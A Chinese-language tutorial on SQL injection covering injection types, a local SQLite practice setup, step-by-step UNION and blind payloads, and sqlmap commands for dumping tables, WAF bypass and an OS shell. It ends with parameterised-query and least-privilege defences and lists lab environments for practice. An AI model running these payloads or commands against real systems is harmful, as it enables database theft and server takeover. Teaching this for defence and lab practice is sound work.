OWASP Top 3漏洞:从原理到利用到防御
SQL注入是将恶意SQL代码插入应用程序查询的攻击技术。当用户输入未经适当过滤就拼接到SQL语句中时,攻击者可以读取、修改甚至删除数据库数据。SQL注入常年位居OWASP Top 3,是最致命的Web漏洞之一。
| 类型 | 特征 | 利用难度 | 危害 |
|---|---|---|---|
| Union注入 | 直接在页面看到结果 | 🟢 简单 | 🔴 高 |
| Error注入 | 通过错误信息获取数据 | 🟡 中等 | 🔴 高 |
| Boolean盲注 | 通过真假条件判断 | 🟠 较难 | 🔴 高 |
| Time盲注 | 通过响应时间判断 | 🔴 困难 | 🔴 高 |
| 堆叠注入 | 执行多条SQL语句 | 🟡 中等 | 💀 极高 |
# 安装SQLite进行本地练习
apt install sqlite3
# 创建测试数据库
sqlite3 /tmp/test.db "CREATE TABLE users(id INTEGER PRIMARY KEY, username TEXT, password TEXT, email TEXT);"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(1, 'admin', 'admin123', 'admin@test.com');"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(2, 'user1', 'pass1', 'user1@test.com');"
sqlite3 /tmp/test.db "INSERT INTO users VALUES(3, 'user2', 'pass2', 'user2@test.com');"
# 正常查询
sqlite3 /tmp/test.db "SELECT * FROM users WHERE id = 1;"
# 1|admin|admin123|admin@test.com
# SQL注入: 永真条件
sqlite3 /tmp/test.db "SELECT * FROM users WHERE id = 1 OR 1=1;"
# 1|admin|admin123|admin@test.com
# 2|user1|pass1|user1@test.com
# 3|user2|pass2|user2@test.com
# → 返回了所有数据!
# UNION注入
sqlite3 /tmp/test.db "SELECT id, username FROM users WHERE id = 999 UNION SELECT id, password FROM users;"
# 1|admin123
# 2|pass1
# 3|pass2
# → 密码被泄露!
# UNION注入前提条件
# 1. 确定列数
# 2. 确定可显示列的位置
# 3. 构造UNION查询获取数据
# 步骤1: 确定列数
# ORDER BY 递增测试
?id=1 ORDER BY 1-- # 正常
?id=1 ORDER BY 2-- # 正常
?id=1 ORDER BY 3-- # 正常
?id=1 ORDER BY 4-- # 报错!→ 3列
# 步骤2: 确定显示位
?id=-1 UNION SELECT 1,2,3--
# 页面显示2和3的位置
# 步骤3: 获取数据库信息
# MySQL:
?id=-1 UNION SELECT 1,version(),database()--
?id=-1 UNION SELECT 1,user(),@@datadir--
# 步骤4: 获取表名
# MySQL:
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# 步骤5: 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
# 步骤6: 获取数据
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
# SQLite简化版:
?id=-1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'--
# Boolean盲注: 通过页面返回的真假来判断
# 测试注入点
?id=1 AND 1=1-- # 页面正常(真)
?id=1 AND 1=2-- # 页面异常(假)
# 逐字符猜解数据库名
?id=1 AND SUBSTRING(database(),1,1)='a'-- # 假
?id=1 AND SUBSTRING(database(),1,1)='b'-- # 假
?id=1 AND SUBSTRING(database(),1,1)='m'-- # 真!
?id=1 AND SUBSTRING(database(),2,1)='y'-- # 真!
# ... 数据库名: mydb
# 二分查找优化(更快)
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 100-- # 真
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 110-- # 假
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 105-- # 真
?id=1 AND ASCII(SUBSTRING(database(),1,1)) = 109-- # 真 → 'm'
# Time盲注: 通过响应延迟判断
?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
# 如果响应延迟5秒 → 第一个字符是'a'
# 如果立即返回 → 不是'a'
# MySQL Time盲注
?id=1 AND IF(1=1, SLEEP(5), 0)--
?id=1 AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
# PostgreSQL Time盲注
?id=1 AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END)--
# SQLite Time盲注(使用randomblob)
?id=1 AND CASE WHEN (1=1) THEN randomblob(500000000) ELSE 1 END--
# 安装SQLMap
pip install sqlmap
# 或: apt install sqlmap
# 基础检测
sqlmap -u "http://target.com/page?id=1" --batch
# 指定注入参数
sqlmap -u "http://target.com/page?id=1&cat=2" -p id
# 获取所有数据库
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取指定数据库的表
sqlmap -u "http://target.com/page?id=1" -D mydb --tables
# 获取指定表的列
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --columns
# 导出数据
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump
# POST注入
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test" \
-p username
# Cookie注入
sqlmap -u "http://target.com/page" \
--cookie="session=abc123" \
--level=2
# 指定注入技术
sqlmap -u "http://target.com/page?id=1" \
--technique=BEUSTQ # B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline
# 绕过WAF
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase
# 风险等级
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# level: 1-5 (测试范围) risk: 1-3 (危险程度)
# OS Shell(获取系统命令执行)
sqlmap -u "http://target.com/page?id=1" --os-shell
# ❌ 危险:字符串拼接
query = "SELECT * FROM users WHERE id = " + user_input
# ✅ 安全:参数化查询
# Python (sqlite3)
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# Python (MySQL)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Java (JDBC)
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
# PHP (PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_id]);
# Node.js (mysql2)
db.query("SELECT * FROM users WHERE id = ?", [user_id]);
# Go (database/sql)
db.Query("SELECT * FROM users WHERE id = $1", userId)
# Django ORM(自动参数化)
User.objects.filter(id=user_id) # 安全
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id]) # 安全
User.objects.raw(f"SELECT * FROM users WHERE id = {user_id}") # ❌ 危险!
# SQLAlchemy
session.query(User).filter(User.id == user_id) # 安全
# Spring Data JPA
@Query("SELECT u FROM User u WHERE u.id = :id")
User findById(@Param("id") Long id); # 安全
# 输入验证(辅助防御,不是替代参数化)
# 白名单验证ID
if not user_id.isdigit():
return error("Invalid ID")
# 最小权限原则
# 应用数据库账号不应有DROP/ALTER权限
# 只授予SELECT/INSERT/UPDATE/DELETE
# MySQL创建只读账号
CREATE USER 'webapp_read'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON mydb.* TO 'webapp_read'@'localhost';
# 创建受限写账号
CREATE USER 'webapp_write'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT,INSERT,UPDATE ON mydb.users TO 'webapp_write'@'localhost';
FLUSH PRIVILEGES;
# 错误信息处理
# 不要将SQL错误信息直接展示给用户
# 生产环境关闭详细错误
try:
cursor.execute(query, params)
except Exception as e:
log.error(f"DB Error: {e}") # 记录到日志
return generic_error() # 返回通用错误
# DVWA (Damn Vulnerable Web Application)
docker run --rm -p 8080:80 vulnerables/web-dvwa
# SQLi-labs
docker run --rm -p 8080:80 acgpiano/sqli-labs
# HackTheBox
# https://www.hackthebox.com/
# TryHackMe SQL注入房间
# https://tryhackme.com/room/sqlinjectionlm
# PortSwigger Labs(免费)
# https://portswigger.net/web-security/sql-injection